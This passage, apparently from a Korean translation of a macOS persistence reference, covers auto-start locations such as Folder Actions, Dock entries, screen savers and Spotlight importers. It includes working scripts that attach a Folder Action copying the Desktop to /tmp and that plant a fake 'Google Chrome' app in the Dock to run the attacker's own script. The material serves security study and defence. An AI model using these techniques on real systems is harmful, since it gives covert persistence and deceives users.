Folder Actions๋Š” ํด๋”์— ํ•ญ๋ชฉ์„ ์ถ”๊ฐ€/์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ ํด๋” ์ฐฝ์„ ์—ด๊ฑฐ๋‚˜ ํฌ๊ธฐ๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” ๋“ฑ ํด๋”์˜ ๋ณ€ํ™”์— ์˜ํ•ด ์ž๋™์œผ๋กœ ํŠธ๋ฆฌ๊ฑฐ๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์•ก์…˜์€ ๋‹ค์–‘ํ•œ ์ž‘์—…์— ํ™œ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ Finder UI๋‚˜ terminal ๋ช…๋ น ๋“ฑ ์—ฌ๋Ÿฌ ๋ฐฉ์‹์œผ๋กœ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Folder Actions๋ฅผ ์„ค์ •ํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค:

  1. Automator๋ฅผ ์‚ฌ์šฉํ•ด Folder Action ์›Œํฌํ”Œ๋กœ๋ฅผ ์ œ์ž‘ํ•˜๊ณ  ์„œ๋น„์Šค๋กœ ์„ค์น˜ํ•ฉ๋‹ˆ๋‹ค.
  2. ํด๋”์˜ ์ปจํ…์ŠคํŠธ ๋ฉ”๋‰ด์— ์žˆ๋Š” Folder Actions Setup์„ ํ†ตํ•ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ˆ˜๋™์œผ๋กœ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.
  3. OSAScript๋ฅผ ์ด์šฉํ•ด Apple Event ๋ฉ”์‹œ์ง€๋ฅผ System Events.app๋กœ ๋ณด๋‚ด Folder Action์„ ํ”„๋กœ๊ทธ๋ž˜๋ฐ์ ์œผ๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
  • ์ด ๋ฐฉ๋ฒ•์€ ์•ก์…˜์„ ์‹œ์Šคํ…œ์— ๋‚ด์žฅ์‹œ์ผœ ์ผ์ • ์ˆ˜์ค€์˜ ์ง€์†์„ฑ์„ ์ œ๊ณตํ•˜๋Š” ๋ฐ ํŠนํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

๋‹ค์Œ ์Šคํฌ๋ฆฝํŠธ๋Š” Folder Action์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์˜ˆ์ œ์ž…๋‹ˆ๋‹ค:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

์œ„ ์Šคํฌ๋ฆฝํŠธ๋ฅผ Folder Actions์—์„œ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ปดํŒŒ์ผํ•˜์„ธ์š”:

osacompile -l JavaScript -o folder.scpt source.js

์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ปดํŒŒ์ผ๋œ ํ›„, ์•„๋ž˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ Folder Actions๋ฅผ ์„ค์ •ํ•˜์„ธ์š”. ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” Folder Actions๋ฅผ ์ „์—ญ์ ์œผ๋กœ ํ™œ์„ฑํ™”ํ•˜๊ณ  ์ด์ „์— ์ปดํŒŒ์ผ๋œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ Desktop ํด๋”์— ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.

// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)

์„ค์ • ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰ํ•˜์„ธ์š”:

osascript -l JavaScript /Users/username/attach.scpt
  • GUI๋ฅผ ํ†ตํ•ด ์ด persistence๋ฅผ ๊ตฌํ˜„ํ•˜๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

๋‹ค์Œ์€ ์‹คํ–‰๋  ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค:

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ์ปดํŒŒ์ผ: osacompile -l JavaScript -o folder.scpt source.js

๋‹ค์Œ ์œ„์น˜๋กœ ์ด๋™:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

Then, open the Folder Actions Setup app, select the ๊ฐ์‹œํ•  ํด๋” and select in your case folder.scpt (in my case I called it output2.scp):

์ด์ œ ํ•ด๋‹น ํด๋”๋ฅผ Finder๋กœ ์—ด๋ฉด ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

This configuration was stored in the plist located in ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist in base64 format.

์ด์ œ GUI ์ ‘๊ทผ ์—†์ด ์ด persistence๋ฅผ ์ค€๋น„ํ•ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค:

  1. ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist์„ ๋ณต์‚ฌํ•˜์—ฌ /tmp์— ๋ฐฑ์—…ํ•ฉ๋‹ˆ๋‹ค:
  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp
  1. ์„ค์ •ํ•œ Folder Actions ์ œ๊ฑฐ:

์ด์ œ ๋นˆ ํ™˜๊ฒฝ์ด ๋˜์—ˆ์œผ๋ฏ€๋กœ

  1. ๋ฐฑ์—… ํŒŒ์ผ์„ ๋ณต์‚ฌํ•ฉ๋‹ˆ๋‹ค: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
  2. ์ด ์„ค์ •์„ ๋ฐ˜์˜ํ•˜๋ ค๋ฉด Folder Actions Setup.app์„ ์—ฝ๋‹ˆ๋‹ค: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

Caution

๊ทธ๋ฆฌ๊ณ  ์ด ๋ฐฉ๋ฒ•์€ ์ €์—๊ฒŒ๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด๊ฒƒ๋“ค์€ writeup์˜ ์ง€์นจ์ž…๋‹ˆ๋‹ค:(

Dock ๋ฐ”๋กœ๊ฐ€๊ธฐ

Writeup: https://theevilbit.github.io/beyond/beyond_0027/

  • sandbox๋ฅผ ์šฐํšŒํ•˜๋Š” ๋ฐ ์œ ์šฉ: โœ…
  • ํ•˜์ง€๋งŒ ์‹œ์Šคํ…œ ๋‚ด๋ถ€์— ์•…์„ฑ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์„ค์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค
  • TCC bypass: ๐Ÿ”ด

์œ„์น˜

  • ~/Library/Preferences/com.apple.dock.plist
  • ํŠธ๋ฆฌ๊ฑฐ: ์‚ฌ์šฉ์ž๊ฐ€ Dock ๋‚ด์˜ ์•ฑ์„ ํด๋ฆญํ•  ๋•Œ

์„ค๋ช… ๋ฐ ์•…์šฉ

Dock์— ํ‘œ์‹œ๋˜๋Š” ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ plist์— ์ง€์ •๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค: ~/Library/Preferences/com.apple.dock.plist

๋‹ค์Œ๊ณผ ๊ฐ™์ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

์•ฝ๊ฐ„์˜ social engineering์„ ์‚ฌ์šฉํ•˜๋ฉด dock ์•ˆ์—์„œ ์˜ˆ๋ฅผ ๋“ค์–ด impersonate for example Google Chrome ํ•˜๊ณ  ์‹ค์ œ๋กœ ์ž์‹ ์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock

์ƒ‰์ƒ ์„ ํƒ๊ธฐ

Writeup: https://theevilbit.github.io/beyond/beyond_0017

  • sandbox ์šฐํšŒ์— ์œ ์šฉ: ๐ŸŸ 
  • ๋งค์šฐ ํŠน์ •ํ•œ ๋™์ž‘์ด ํ•„์š”ํ•จ
  • ๋˜ ๋‹ค๋ฅธ sandbox์—์„œ ์‹คํ–‰๋˜๊ฒŒ ๋จ
  • TCC ์šฐํšŒ: ๐Ÿ”ด

์œ„์น˜

  • /Library/ColorPickers
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • ํŠธ๋ฆฌ๊ฑฐ: ์ƒ‰์ƒ ์„ ํƒ๊ธฐ ์‚ฌ์šฉ
  • ~/Library/ColorPickers
  • ํŠธ๋ฆฌ๊ฑฐ: ์ƒ‰์ƒ ์„ ํƒ๊ธฐ ์‚ฌ์šฉ

์„ค๋ช… ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡

Compile a color picker ๋ฒˆ๋“ค์„ ์ฝ”๋“œ์™€ ํ•จ๊ป˜ ์ปดํŒŒ์ผํ•˜์„ธ์š” (์˜ˆ๋กœ this one for example) ๊ทธ๋ฆฌ๊ณ  constructor๋ฅผ ์ถ”๊ฐ€ํ•˜์„ธ์š” (์˜ˆ: Screen Saver section) ๊ทธ๋Ÿฐ ๋‹ค์Œ ๋ฒˆ๋“ค์„ ~/Library/ColorPickers์— ๋ณต์‚ฌํ•˜์„ธ์š”.

๊ทธ๋Ÿฌ๋ฉด ์ƒ‰์ƒ ์„ ํƒ๊ธฐ๊ฐ€ ํŠธ๋ฆฌ๊ฑฐ๋  ๋•Œ ๋‹น์‹ ์˜ ์ฝ”๋“œ๋„ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

๋‹น์‹ ์˜ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ๋งค์šฐ ์ œํ•œ์ ์ธ sandbox๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค: /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64

[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))

Finder Sync Plugins

์ž‘์„ฑ: https://theevilbit.github.io/beyond/beyond_0026/
์ž‘์„ฑ: https://objective-see.org/blog/blog_0x11.html

  • ์ƒŒ๋“œ๋ฐ•์Šค ์šฐํšŒ์— ์œ ์šฉํ•œ๊ฐ€: ์•„๋‹ˆ์˜ค, ์ž์ฒด ์•ฑ์„ ์‹คํ–‰ํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์—
  • TCC bypass: ???

์œ„์น˜

  • ํŠน์ • ์•ฑ

์„ค๋ช… & Exploit

Finder Sync Extension๋ฅผ ํฌํ•จํ•œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์˜ˆ์ œ๋Š” ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ Finder Sync Extensions๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ™•์žฅ ๊ธฐ๋Šฅ์€ ์‹คํ–‰๋  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด๋ถ€์— ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ํ™•์žฅ์ด ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ ค๋ฉด ์ผ๋ถ€ ์œ ํšจํ•œ Apple ๊ฐœ๋ฐœ์ž ์ธ์ฆ์„œ๋กœ ์„œ๋ช…๋˜์–ด์•ผ ํ•˜๋ฉฐ, ์ƒŒ๋“œ๋ฐ•์Šคํ™”๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค(์™„ํ™”๋œ ์˜ˆ์™ธ๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜๋Š” ์žˆ์ง€๋งŒ) ๊ทธ๋ฆฌ๊ณ  ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋“ฑ๋ก๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync

Screen Saver

์ฐธ๊ณ  ๊ธ€: https://theevilbit.github.io/beyond/beyond_0016/
์ฐธ๊ณ  ๊ธ€: https://posts.specterops.io/saving-your-access-d562bf5bf90b

  • Sandbox ์šฐํšŒ์— ์œ ์šฉ: ๐ŸŸ 
  • ํ•˜์ง€๋งŒ common application sandbox์— ๊ฐ‡ํžˆ๊ฒŒ ๋จ
  • TCC bypass: ๐Ÿ”ด

์œ„์น˜

  • /System/Library/Screen Savers
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • Trigger: Select the screen saver
  • /Library/Screen Savers
  • ๋ฃจํŠธ ๊ถŒํ•œ ํ•„์š”
  • Trigger: Select the screen saver
  • ~/Library/Screen Savers
  • Trigger: Select the screen saver

์„ค๋ช… & Exploit

Xcode์—์„œ ์ƒˆ ํ”„๋กœ์ ํŠธ๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ํ…œํ”Œ๋ฆฟ์œผ๋กœ ์ƒˆ Screen Saver๋ฅผ ๋งŒ๋“œ์„ธ์š”. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์—ฌ๊ธฐ์— ์ฝ”๋“œ๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค โ€” ์˜ˆ๋ฅผ ๋“ค์–ด ๋กœ๊ทธ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋นŒ๋“œํ•œ ๋’ค .saver ๋ฒˆ๋“ค์„ **~/Library/Screen Savers**์— ๋ณต์‚ฌํ•˜์„ธ์š”. ๊ทธ๋Ÿฐ ๋‹ค์Œ Screen Saver GUI๋ฅผ ์—ด๊ณ  ํด๋ฆญํ•˜๋ฉด ๋งŽ์€ ๋กœ๊ทธ๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค:

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "hello_screensaver"'

Timestamp                       (process)[PID]
2023-09-27 22:55:39.622369+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver void custom(int, const char **)
2023-09-27 22:55:39.622623+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView initWithFrame:isPreview:]
2023-09-27 22:55:39.622704+0200  localhost legacyScreenSaver[41737]: (ScreenSaverExample) hello_screensaver -[ScreenSaverExampleView hasConfigureSheet]

Caution

์ด ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ entitlements(/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver) ๋‚ด๋ถ€์—์„œ **com.apple.security.app-sandbox**๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ๋‹น์‹ ์€ inside the common application sandbox์— ์žˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

Saver ์ฝ”๋“œ:

//
//  ScreenSaverExampleView.m
//  ScreenSaverExample
//
//  Created by Carlos Polop on 27/9/23.
//

#import "ScreenSaverExampleView.h"

@implementation ScreenSaverExampleView

- (instancetype)initWithFrame:(NSRect)frame isPreview:(BOOL)isPreview
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
self = [super initWithFrame:frame isPreview:isPreview];
if (self) {
[self setAnimationTimeInterval:1/30.0];
}
return self;
}

- (void)startAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super startAnimation];
}

- (void)stopAnimation
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super stopAnimation];
}

- (void)drawRect:(NSRect)rect
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
[super drawRect:rect];
}

- (void)animateOneFrame
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return;
}

- (BOOL)hasConfigureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return NO;
}

- (NSWindow*)configureSheet
{
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
return nil;
}

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
}

@end

Spotlight Plugins

writeup: https://theevilbit.github.io/beyond/beyond_0011/

  • Useful to bypass sandbox: ๐ŸŸ 
  • But you will end in an application sandbox
  • TCC bypass: ๐Ÿ”ด
  • The sandbox looks very limited

Location

  • ~/Library/Spotlight/
  • Trigger: A new file with a extension managed by the spotlight plugin is created.
  • /Library/Spotlight/
  • Trigger: A new file with a extension managed by the spotlight plugin is created.
  • Root required
  • /System/Library/Spotlight/
  • Trigger: A new file with a extension managed by the spotlight plugin is created.
  • Root required
  • Some.app/Contents/Library/Spotlight/
  • Trigger: A new file with a extension managed by the spotlight plugin is created.
  • New app required

Description & Exploitation

Spotlight๋Š” macOS์— ๋‚ด์žฅ๋œ ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ์œผ๋กœ, ์‚ฌ์šฉ์ž๊ฐ€ ์ปดํ“จํ„ฐ์˜ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•ด ๋น ๋ฅด๊ณ  ํฌ๊ด„์ ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋„๋ก ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
์ด๋Ÿฌํ•œ ๋น ๋ฅธ ๊ฒ€์ƒ‰ ๊ธฐ๋Šฅ์„ ์œ„ํ•ด Spotlight๋Š” ๋…์  ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์œ ์ง€ํ•˜๊ณ , ๋Œ€๋ถ€๋ถ„์˜ ํŒŒ์ผ์„ ํŒŒ์‹ฑํ•˜์—ฌ ์ธ๋ฑ์Šค๋ฅผ ์ƒ์„ฑํ•จ์œผ๋กœ์จ ํŒŒ์ผ ์ด๋ฆ„๊ณผ ๋‚ด์šฉ ๋ชจ๋‘์—์„œ ๋น ๋ฅธ ๊ฒ€์ƒ‰์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Spotlight์˜ ๊ธฐ๋ฐ˜ ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ์ค‘์•™ ํ”„๋กœ์„ธ์Šค์ธ โ€™mdsโ€™๋ฅผ ํฌํ•จํ•˜๋ฉฐ, ์ด๋Š” **โ€˜metadata server.โ€™**์˜ ์•ฝ์ž์ž…๋‹ˆ๋‹ค. ์ด ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ „์ฒด Spotlight ์„œ๋น„์Šค๋ฅผ ์กฐ์ •ํ•ฉ๋‹ˆ๋‹ค. ๋ณด์™„์ ์œผ๋กœ, ์„œ๋กœ ๋‹ค๋ฅธ ํŒŒ์ผ ์œ ํ˜•์„ ์ธ๋ฑ์‹ฑํ•˜๋Š” ๋“ฑ ๋‹ค์–‘ํ•œ ์œ ์ง€๊ด€๋ฆฌ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ์—ฌ๋Ÿฌ โ€˜mdworkerโ€™ ๋ฐ๋ชฌ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค (ps -ef | grep mdworker). ์ด๋Ÿฌํ•œ ์ž‘์—…์€ Spotlight importer plugins, ๋˜๋Š” โ€œ.mdimporter bundlesโ€œ๋ฅผ ํ†ตํ•ด ๊ฐ€๋Šฅํ•˜๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด Spotlight๋Š” ๋‹ค์–‘ํ•œ ํŒŒ์ผ ํ˜•์‹์˜ ์ฝ˜ํ…์ธ ๋ฅผ ์ดํ•ดํ•˜๊ณ  ์ธ๋ฑ์‹ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ”Œ๋Ÿฌ๊ทธ์ธ ๋˜๋Š” .mdimporter ๋ฒˆ๋“ค์€ ์•ž์„œ ์–ธ๊ธ‰ํ•œ ์œ„์น˜์— ๋†“์ด๋ฉฐ, ์ƒˆ ๋ฒˆ๋“ค์ด ๋‚˜ํƒ€๋‚˜๋ฉด ๋ช‡ ๋ถ„ ๋‚ด์— ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค(์„œ๋น„์Šค ์žฌ์‹œ์ž‘ ๋ถˆํ•„์š”). ์ด ๋ฒˆ๋“ค์€ ์–ด๋–ค ํŒŒ์ผ ํ˜•์‹๊ณผ ํ™•์žฅ์ž๋ฅผ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ๋ช…์‹œํ•ด์•ผ ํ•˜๋ฉฐ, ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด Spotlight๋Š” ์ง€์ •๋œ ํ™•์žฅ์ž๋ฅผ ๊ฐ€์ง„ ์ƒˆ ํŒŒ์ผ์ด ์ƒ์„ฑ๋  ๋•Œ ํ•ด๋‹น ๋ฒˆ๋“ค์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

Itโ€™s possible to find all the mdimporters loaded running:

mdimport -L
Paths: id(501) (
"/System/Library/Spotlight/iWork.mdimporter",
"/System/Library/Spotlight/iPhoto.mdimporter",
"/System/Library/Spotlight/PDF.mdimporter",
[...]

์˜ˆ๋ฅผ ๋“ค์–ด /Library/Spotlight/iBooksAuthor.mdimporter๋Š” ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ํŒŒ์ผ(ํ™•์žฅ์ž .iba ๋ฐ .book ๋“ฑ)์„ ํŒŒ์‹ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค:

plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist

[...]
"CFBundleDocumentTypes" => [
0 => {
"CFBundleTypeName" => "iBooks Author Book"
"CFBundleTypeRole" => "MDImporter"
"LSItemContentTypes" => [
0 => "com.apple.ibooksauthor.book"
1 => "com.apple.ibooksauthor.pkgbook"
2 => "com.apple.ibooksauthor.template"
3 => "com.apple.ibooksauthor.pkgtemplate"
]
"LSTypeIsPackage" => 0
}
]
[...]
=> {
"UTTypeConformsTo" => [
0 => "public.data"
1 => "public.composite-content"
]
"UTTypeDescription" => "iBooks Author Book"
"UTTypeIdentifier" => "com.apple.ibooksauthor.book"
"UTTypeReferenceURL" => "http://www.apple.com/ibooksauthor"
"UTTypeTagSpecification" => {
"public.filename-extension" => [
0 => "iba"
1 => "book"
]
}
}
[...]

Caution

๋‹ค๋ฅธ mdimporter์˜ Plist๋ฅผ ํ™•์ธํ•˜๋ฉด UTTypeConformsTo ํ•ญ๋ชฉ์„ ์ฐพ์ง€ ๋ชปํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ํ•ด๋‹น ํ•ญ๋ชฉ์ด ๋‚ด์žฅ๋œ Uniform Type Identifiers (UTI) ์ด๊ธฐ ๋•Œ๋ฌธ์— ํ™•์žฅ์ž๋ฅผ ๋ช…์‹œํ•  ํ•„์š”๊ฐ€ ์—†๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

๋˜ํ•œ System default plugins๋Š” ํ•ญ์ƒ ์šฐ์„ ๊ถŒ์„ ๊ฐ€์ง€๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๋Š” Apple์˜ ์ž์ฒด mdimporters์— ์˜ํ•ด ์ธ๋ฑ์‹ฑ๋˜์ง€ ์•Š์€ ํŒŒ์ผ์—๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

To create your own importer you could start with this project: https://github.com/megrimm/pd-spotlight-importer and then change the name, the CFBundleDocumentTypes and add UTImportedTypeDeclarations so it supports the extension you would like to support and refelc them in schema.xml.
Then change the code of the function GetMetadataForFile to execute your payload when a file with the processed extension is created.

Finally build and copy your new .mdimporter to one of thre previous locations and you can chech whenever itโ€™s loaded monitoring the logs or checking mdimport -L.

Preference Pane

Caution

๋” ์ด์ƒ ์ž‘๋™ํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.

Writeup: https://theevilbit.github.io/beyond/beyond_0009/

  • Useful to bypass sandbox: ๐ŸŸ 
  • ํŠน์ • ์‚ฌ์šฉ์ž ์ž‘์—…์ด ํ•„์š”ํ•จ
  • TCC bypass: ๐Ÿ”ด

Location

  • /System/Library/PreferencePanes
  • /Library/PreferencePanes
  • ~/Library/PreferencePanes

Description

๋” ์ด์ƒ ์ž‘๋™ํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.

Root Sandbox Bypass

Tip

์—ฌ๊ธฐ์„œ๋Š” sandbox bypass์— ์œ ์šฉํ•œ ์‹œ์ž‘ ์œ„์น˜๋“ค์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” root ๊ถŒํ•œ์œผ๋กœ ํŒŒ์ผ์— ์“ฐ๊ธฐ๋งŒ ํ•ด๋„ ๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ํ•˜๊ฑฐ๋‚˜ ๊ธฐํƒ€ ํŠน์ดํ•œ ์กฐ๊ฑด๋“ค์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค.

Periodic

Writeup: https://theevilbit.github.io/beyond/beyond_0019/

  • Useful to bypass sandbox: ๐ŸŸ 
